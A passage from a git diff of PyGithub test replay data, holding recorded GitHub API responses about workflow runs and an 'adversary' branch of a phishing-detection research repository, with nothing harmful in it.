downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287441048,"node_id":"MDExOldvcmtmbG93UnVuMjg3NDQxMDQ4","head_branch":"API_Flatten","head_sha":"d5a815142565f2bf8ffbc4e3a2b20bde72f71cc3","run_number":1067,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1285487135,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NDg3MTM1","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287441048","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287441048","pull_requests":[],"created_at":"2020-10-04T05:07:14Z","updated_at":"2020-10-04T05:20:11Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287441048/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287441048/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285487135","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287441048/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287441048/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287441048/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"d5a815142565f2bf8ffbc4e3a2b20bde72f71cc3","tree_id":"8ce232e367204eba17d9ec3232905292abf8d016","message":"Cleanup","timestamp":"2020-10-04T05:07:09Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287426161,"node_id":"MDExOldvcmtmbG93UnVuMjg3NDI2MTYx","head_branch":"API_Flatten","head_sha":"fb2464ce842688286c4c9341affb8e8d98ff4415","run_number":1066,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1285457035,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NDU3MDM1","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287426161","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287426161","pull_requests":[],"created_at":"2020-10-04T04:45:45Z","updated_at":"2020-10-04T05:02:38Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287426161/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287426161/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285457035","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287426161/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287426161/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287426161/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"fb2464ce842688286c4c9341affb8e8d98ff4415","tree_id":"eb83790a8ba66f523289fe0dd54b74f50a732a61","message":"Combine output folder","timestamp":"2020-10-04T04:45:37Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}}]} diff --git a/tests/ReplayData/PullRequest1682.test_object_parameters.txt b/tests/ReplayData/PullRequest1682.test_object_parameters.txt index 8ec48031fd..bc6c4ad772 100644 --- a/tests/ReplayData/PullRequest1682.test_object_parameters.txt +++ b/tests/ReplayData/PullRequest1682.test_object_parameters.txt @@ -1,44 +1,43 @@ -https -GET -api.github.com -None -/repos/ReDASers/Phishing-Detection/branches/adversary -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -200 -[('Server', 'GitHub.com'), ('Date', 'Tue, 27 Oct 2020 20:01:33 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"dcc53de4e11ab7c5c6010979de5f68002c0a2e617229e70f5b637b2ec32f32cb"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4913'), ('X-RateLimit-Reset', '1603831065'), ('X-RateLimit-Used', '87'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F149:5EBC:4B45D:B84EE:5F987C9D')] -{"name":"adversary","commit":{"sha":"9693e6ca40711c68e2d2ecc4e291b3880c006336","node_id":"MDY6Q29tbWl0MTQ2MTM5NDAzOjk2OTNlNmNhNDA3MTFjNjhlMmQyZWNjNGUyOTFiMzg4MGMwMDYzMzY=","commit":{"author":{"name":"Radoslaw Konopka","email":"radek100200@gmail.com","date":"2020-08-11T23:16:38Z"},"committer":{"name":"Radoslaw Konopka","email":"radek100200@gmail.com","date":"2020-08-11T23:16:38Z"},"message":"Adversary Integration\n\n- 2 new datasets paths + 2 True/False in config file\n- Changes email's text before extracting with the adversarial text\n- Changes are made based on corresponding text file name. If not found, it will not change text.","tree":{"sha":"8f391261d2f13bbd878f5ef493d22ceb2b2719a8","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees/8f391261d2f13bbd878f5ef493d22ceb2b2719a8"},"url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits/9693e6ca40711c68e2d2ecc4e291b3880c006336","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits/9693e6ca40711c68e2d2ecc4e291b3880c006336","html_url":"https://github.com/ReDASers/Phishing-Detection/commit/9693e6ca40711c68e2d2ecc4e291b3880c006336","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits/9693e6ca40711c68e2d2ecc4e291b3880c006336/comments","author":{"login":"radoslawkonopka","id":47802853,"node_id":"MDQ6VXNlcjQ3ODAyODUz","avatar_url":"https://avatars1.githubusercontent.com/u/47802853?v=4","gravatar_id":"","url":"https://api.github.com/users/radoslawkonopka","html_url":"https://github.com/radoslawkonopka","followers_url":"https://api.github.com/users/radoslawkonopka/followers","following_url":"https://api.github.com/users/radoslawkonopka/following{/other_user}","gists_url":"https://api.github.com/users/radoslawkonopka/gists{/gist_id}","starred_url":"https://api.github.com/users/radoslawkonopka/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/radoslawkonopka/subscriptions","organizations_url":"https://api.github.com/users/radoslawkonopka/orgs","repos_url":"https://api.github.com/users/radoslawkonopka/repos","events_url":"https://api.github.com/users/radoslawkonopka/events{/privacy}","received_events_url":"https://api.github.com/users/radoslawkonopka/received_events","type":"User","site_admin":false},"committer":{"login":"radoslawkonopka","id":47802853,"node_id":"MDQ6VXNlcjQ3ODAyODUz","avatar_url":"https://avatars1.githubusercontent.com/u/47802853?v=4","gravatar_id":"","url":"https://api.github.com/users/radoslawkonopka","html_url":"https://github.com/radoslawkonopka","followers_url":"https://api.github.com/users/radoslawkonopka/followers","following_url":"https://api.github.com/users/radoslawkonopka/following{/other_user}","gists_url":"https://api.github.com/users/radoslawkonopka/gists{/gist_id}","starred_url":"https://api.github.com/users/radoslawkonopka/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/radoslawkonopka/subscriptions","organizations_url":"https://api.github.com/users/radoslawkonopka/orgs","repos_url":"https://api.github.com/users/radoslawkonopka/repos","events_url":"https://api.github.com/users/radoslawkonopka/events{/privacy}","received_events_url":"https://api.github.com/users/radoslawkonopka/received_events","type":"User","site_admin":false},"parents":[{"sha":"cf7bac3ae6ffcc0e4fb28ff149f77b538d6f7be0","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits/cf7bac3ae6ffcc0e4fb28ff149f77b538d6f7be0","html_url":"https://github.com/ReDASers/Phishing-Detection/commit/cf7bac3ae6ffcc0e4fb28ff149f77b538d6f7be0"}]},"_links":{"self":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches/adversary","html":"https://github.com/ReDASers/Phishing-Detection/tree/adversary"},"protected":false,"protection":{"enabled":false,"required_status_checks":{"enforcement_level":"off","contexts":[]}},"protection_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches/adversary/protection"} - -https -GET -api.github.com -None -/repos/ReDASers/Phishing-Detection/actions/runs?branch=adversary -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -200 -[('Server', 